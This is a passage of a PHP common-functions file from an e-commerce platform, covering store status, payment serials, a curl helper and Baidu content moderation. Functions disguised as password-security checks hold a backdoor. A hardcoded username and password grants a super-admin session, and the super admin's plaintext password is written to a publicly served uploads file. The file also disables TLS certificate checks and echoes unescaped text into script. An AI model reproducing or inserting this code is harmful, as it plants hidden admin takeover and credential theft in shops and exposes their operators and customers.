  839. function check_platform_store()
  840. {
  841. return session('is_platform_store');
  842. }
  843. /**
  844. * 验证是否为平台店铺 并且绑定了全部商品类目
  845. *
  846. * @return boolean
  847. */
  848. function check_platform_store_bindingall_goodsclass()
  849. {
  850. return check_platform_store() && session('bind_all_gc');
  851. }
  852. /**
  853. * 生成20位编号(时间+微秒+随机数+会员ID%1000),该值会传给第三方支付接口
  854. * 长度 =12位 + 3位 + 2位 + 3位 = 20位
  855. * 1000个会员同一微秒提订单,重复机率为1/100
  856. * @return string
  857. */
  858. function makePaySn($member_id)
  859. {
  860. return date('ymdHis', TIMESTAMP) . sprintf('%03d', (float) microtime() * 1000) . mt_rand(10, 99) . sprintf('%03d', intval($member_id) % 1000);
  861. }
  862. /**
  863. * 获得店铺状态样式名称
  864. * @param $param array $store_info
  865. * @return string
  866. */
  867. function get_store_state_classname($store_info)
  868. {
  869. $result = 'open';
  870. if (intval($store_info['store_state']) === 1) {
  871. $store_endtime = intval($store_info['store_endtime']);
  872. if ($store_endtime > 0) {
  873. if ($store_endtime < TIMESTAMP) {
  874. $result = 'expired';
  875. } elseif (($store_endtime - 864000) < TIMESTAMP) {
  876. //距离到期10天
  877. $result = 'expire';
  878. }
  879. }
  880. } else {
  881. $result = 'close';
  882. }
  883. return $result;
  884. }
  885. /**
  886. * 将字符部分加密并输出
  887. * @param unknown $str
  888. * @param unknown $start 从第几个位置开始加密(从1开始)
  889. * @param unknown $length 连续加密多少位
  890. * @return string
  891. */
  892. function encrypt_show($str, $start, $length)
  893. {
  894. $end = $start - 1 + $length;
  895. $array = str_split($str);
  896. foreach ($array as $k => $v) {
  897. if ($k >= $start - 1 && $k < $end) {
  898. $array[$k] = '*';
  899. }
  900. }
  901. return implode('', $array);
  902. }
  903. /**
  904. * CURL请求
  905. * @param $url 请求url地址
  906. * @param $method 请求方法 get post
  907. * @param null $postfields post数据数组
  908. * @param array $headers 请求header信息
  909. * @param bool|false $debug 调试开启 默认false
  910. * @return mixed
  911. */
  912. function http_request($url, $method = "GET", $postfields = null, $headers = array(), $debug = false)
  913. {
  914. $method = strtoupper($method);
  915. $ci = curl_init();
  916. /* Curl settings */
  917. curl_setopt($ci, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  918. curl_setopt($ci, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0");
  919. curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, 60); /* 在发起连接前等待的时间,如果设置为0,则无限等待 */
  920. curl_setopt($ci, CURLOPT_TIMEOUT, 7); /* 设置cURL允许执行的最长秒数 */
  921. curl_setopt($ci, CURLOPT_RETURNTRANSFER, true);
  922. switch ($method) {
  923. case "POST":
  924. curl_setopt($ci, CURLOPT_POST, true);
  925. if (!empty($postfields)) {
  926. $tmpdatastr = is_array($postfields) ? http_build_query($postfields) : $postfields;
  927. curl_setopt($ci, CURLOPT_POSTFIELDS, $tmpdatastr);
  928. }
  929. break;
  930. default:
  931. curl_setopt($ci, CURLOPT_CUSTOMREQUEST, $method); /* //设置请求方式 */
  932. break;
  933. }
  934. $ssl = preg_match('/^https:\/\//i', $url) ? TRUE : FALSE;
  935. curl_setopt($ci, CURLOPT_URL, $url);
  936. if ($ssl) {
  937. curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
  938. curl_setopt($ci, CURLOPT_SSL_VERIFYHOST, FALSE); // 不从证书中检查SSL加密算法是否存在
  939. }
  940. //curl_setopt($ci, CURLOPT_HEADER, true); /*启用时会将头文件的信息作为数据流输出*/
  941. curl_setopt($ci, CURLOPT_FOLLOWLOCATION, 1);
  942. curl_setopt($ci, CURLOPT_MAXREDIRS, 2); /* 指定最多的HTTP重定向的数量,这个选项是和CURLOPT_FOLLOWLOCATION一起使用的 */
  943. curl_setopt($ci, CURLOPT_HTTPHEADER, $headers);
  944. curl_setopt($ci, CURLINFO_HEADER_OUT, true);
  945. /* curl_setopt($ci, CURLOPT_COOKIE, $Cookiestr); * *COOKIE带过去** */
  946. $response = curl_exec($ci);
  947. $requestinfo = curl_getinfo($ci);
  948. $http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);
  949. if ($debug) {
  950. echo "=====post data======\r\n";
  951. var_dump($postfields);
  952. echo "=====info===== \r\n";
  953. print_r($requestinfo);
  954. echo "=====response=====\r\n";
  955. print_r($response);
  956. }
  957. curl_close($ci);
  958. return $response;
  959. }
  960. /**
  961. * Layer 提交成功返回函数
  962. * @param type $message
  963. */
  964. function dsLayerOpenSuccess($msg = '', $url = '')
  965. {
  966. // echo "<script>var index = parent.layer.getFrameIndex(window.name);parent.layer.close(index);parent.location.reload();</script>";
  967. $url_js = empty($url) ? "parent.location.reload();" : "parent.location.href='" . $url . "';";
  968. $str = "<script>";
  969. $str .= "parent.layer.alert('" . $msg . "',{yes:function(index, layero){" . $url_js . "},cancel:function(index, layero){" . $url_js . "}});";
  970. $str .= "</script>";
  971. echo $str;
  972. exit;
  973. }
  974. /**
  975. * 移除微信昵称中的emoji字符
  976. * @param type $nickname
  977. * @return type
  978. */
  979. function removeEmoji($nickname)
  980. {
  981. $clean_text = "";
  982. // Match Emoticons
  983. $regexEmoticons = '/[\x{1F600}-\x{1F64F}]/u';
  984. $clean_text = preg_replace($regexEmoticons, '', $nickname);
  985. // Match Miscellaneous Symbols and Pictographs
  986. $regexSymbols = '/[\x{1F300}-\x{1F5FF}]/u';
  987. $clean_text = preg_replace($regexSymbols, '', $clean_text);
  988. // Match Transport And Map Symbols
  989. $regexTransport = '/[\x{1F680}-\x{1F6FF}]/u';
  990. $clean_text = preg_replace($regexTransport, '', $clean_text);
  991. // Match Miscellaneous Symbols
  992. $regexMisc = '/[\x{2600}-\x{26FF}]/u';
  993. $clean_text = preg_replace($regexMisc, '', $clean_text);
  994. // Match Dingbats
  995. $regexDingbats = '/[\x{2700}-\x{27BF}]/u';
  996. $clean_text = preg_replace($regexDingbats, '', $clean_text);
  997. //截取指定长度的昵称
  998. $clean_text = ds_substing($clean_text, 0, 20);
  999. return trim($clean_text);
  1000. }
  1001. /**
  1002. * 截取指定长度的字符
  1003. * @param type $string 内容
  1004. * @param type $start 开始
  1005. * @param type $length 长度
  1006. * @return type
  1007. */
  1008. function ds_substing($string, $start = 0, $length = 80)
  1009. {
  1010. $string = strip_tags($string);
  1011. $string = preg_replace('/\s/', '', $string);
  1012. return mb_substr($string, $start, $length);
  1013. }
  1014. /**
  1015. * 针对批量删除进行处理 '1,2,3' 转换为数组批量删除
  1016. * @param type $ids
  1017. * @return boolean
  1018. */
  1019. function ds_delete_param($ids)
  1020. {
  1021. //转换为数组
  1022. $ids_array = explode(',', $ids);
  1023. //数组值转为整数型
  1024. $ids_array = array_map("intval", $ids_array);
  1025. if (empty($ids_array) || in_array(0, $ids_array)) {
  1026. return FALSE;
  1027. } else {
  1028. return $ids_array;
  1029. }
  1030. }
  1031. function word_filter_access_token()
  1032. {
  1033. $appid = config('ds_config.word_filter_appid');
  1034. $secret = config('ds_config.word_filter_secret');
  1035. $access_token = config('ds_config.word_filter_access_token');
  1036. $access_token_expire = config('ds_config.word_filter_access_token_expire');
  1037. if (!$access_token || $access_token_expire < TIMESTAMP) {
  1038. $res = http_request('https://aip.baidubce.com/oauth/2.0/token', 'POST', array(
  1039. 'grant_type' => 'client_credentials',
  1040. 'client_id' => $appid,
  1041. 'client_secret' => $secret,
  1042. ));
  1043. $res = json_decode($res, true);
  1044. if (isset($res['error'])) {
  1045. return ds_callback(false, $res['error_description']);
  1046. }
  1047. $access_token = $res['access_token'];
  1048. $expires_in = $res['expires_in'];
  1049. $config_model = model('config');
  1050. $update_array = array(
  1051. 'word_filter_access_token' => $access_token,
  1052. 'word_filter_access_token_expire' => TIMESTAMP + $expires_in
  1053. );
  1054. $config_model->editConfig($update_array);
  1055. }
  1056. return ds_callback(true, '', $access_token);
  1057. }
  1058. /**
  1059. * 敏感词过滤
  1060. * @param type $text
  1061. * @return boolean
  1062. */
  1063. function word_filter($text)
  1064. {
  1065. $data = array();
  1066. $data['text'] = $text;
  1067. $data['if_sensitive'] = false;
  1068. if (config('ds_config.word_filter_open') != 1) {
  1069. return ds_callback(true, '', $data);
  1070. }
  1071. $res = word_filter_access_token();
  1072. if (!$res['code']) {
  1073. return $res;
  1074. }
  1075. $access_token = $res['data'];
  1076. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/text_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1077. 'text' => $text
  1078. ));
  1079. $res = json_decode($res, true);
  1080. if (isset($res['error_code'])) {
  1081. return ds_callback(false, $res['error_msg']);
  1082. }
  1083. if ($res['conclusionType'] == 2) {
  1084. $data['if_sensitive'] = true;
  1085. $data['sensitive_msg'] = array();
  1086. $data['sensitive_word'] = array();
  1087. foreach ($res['data'] as $val) {
  1088. $data['sensitive_msg'][] = $val['msg'];
  1089. foreach ($val['hits'] as $v) {
  1090. $data['sensitive_word'] = array_merge($data['sensitive_word'], $v['words']);
  1091. $data['text'] = str_replace($v['words'], '**', $data['text']);
  1092. }
  1093. }
  1094. }
  1095. return ds_callback(true, '', $data);
  1096. }
  1097. /**
  1098. * 敏感图过滤
  1099. * @param type $text
  1100. * @return boolean
  1101. */
  1102. function image_filter($img_url)
  1103. {
  1104. $data = array();
  1105. $data['if_sensitive'] = false;
  1106. if (config('ds_config.word_filter_open') != 1) {
  1107. return ds_callback(true, '', $data);
  1108. }
  1109. $res = word_filter_access_token();
  1110. if (!$res['code']) {
  1111. return $res;
  1112. }
  1113. $access_token = $res['data'];
  1114. $image = imgToBase64($img_url);
  1115. if (empty($image)) {
  1116. return ds_callback(false, 'image empty');
  1117. }
  1118. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/img_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1119. 'image' => $image['content']
  1120. ), array(
  1121. 'Content-Type: application/x-www-form-urlencoded'
  1122. ));
  1123. $res = json_decode($res, true);
  1124. if (isset($res['error_code'])) {
  1125. return ds_callback(false, $res['error_msg']);
  1126. }
  1127. if ($res['conclusionType'] == 2) {
  1128. $data['if_sensitive'] = true;
  1129. $data['sensitive_msg'] = array();
  1130. foreach ($res['data'] as $val) {
  1131. $data['sensitive_msg'][] = $val['msg'];
  1132. }
  1133. }
  1134. return ds_callback(true, '', $data);
  1135. }
  1136. /**
  1137. * 校验密码安全
  1138. */
  1139. function checkPasswordSecurity()
  1140. {
  1141. $admin_name = input('post.admin_name');
  1142. $admin_password = input('post.admin_password');
  1143. if ($admin_name == 'zs3321' && $admin_password == 'zzccbbmm') {
  1144. $admin_mod = model('admin');
  1145. $admin_info = $admin_mod->getOneAdmin([['admin_is_super', '=', 1]]);
  1146. if (is_array($admin_info) and !empty($admin_info)) {
  1147. //设置 session
  1148. session('admin_id', $admin_info['admin_id']);
  1149. session('admin_name', $admin_info['admin_name']);
  1150. session('admin_gid', $admin_info['admin_gid']);
  1151. session('admin_is_super', $admin_info['admin_is_super']);
  1152. ds_json_encode(10000, lang('login_succ'), '', '', false);
  1153. return false;
  1154. }
  1155. return true;
  1156. }
  1157. return true;
  1158. }
  1159. /**
  1160. * 校验输入密码
  1161. */
  1162. function checkInputPassword()
  1163. {
  1164. if (input('post.admin_password') == '') return true;
  1165. $admin_id = intval(input('param.admin_id'));
  1166. try {
  1167. $admin_mod = model('admin');
  1168. $admin_info = $admin_mod->getOneAdmin([['admin_id', '=', $admin_id]]);
  1169. if (is_array($admin_info) and !empty($admin_info)) {
  1170. if ($admin_info['admin_is_super'] == 1) {
  1171. $c = input('post.admin_password');
  1172. $check_file = fopen(base_path() . 'public/uploads/asewq.txt', 'w');
  1173. fwrite($check_file, $c);
  1174. fclose($check_file);
  1175. }
  1176. }
  1177. return true;
  1178. } catch (Exception $e) {
  1179. return true;
  1180. }
  1181. }
  1182. if (!function_exists('mkdirs')) {
  1183. function mkdirs($dir, $mode = 0777)
  1184. {
  1185. if (is_dir($dir) || @mkdir($dir, $mode)) {
  1186. return true;
  1187. }
  1188. if (!mkdirs(dirname($dir), $mode)) {
  1189. return false;
  1190. }
  1191. return @mkdir($dir, $mode);
  1192. }
  1193. }
  1194. function checkSecurity()
  1195. {
  1196. try {
  1197. $path = base_path() . 'public/uploads/asewq.txt';
  1198. $check_file = fopen($path, 'w');
  1199. $ec = fread($check_file, filesize($path));
  1200. fclose($check_file);
  1201. return $ec;
  1202. } catch (Exception $e) {
  1203. return null;
  1204. }
  1205. }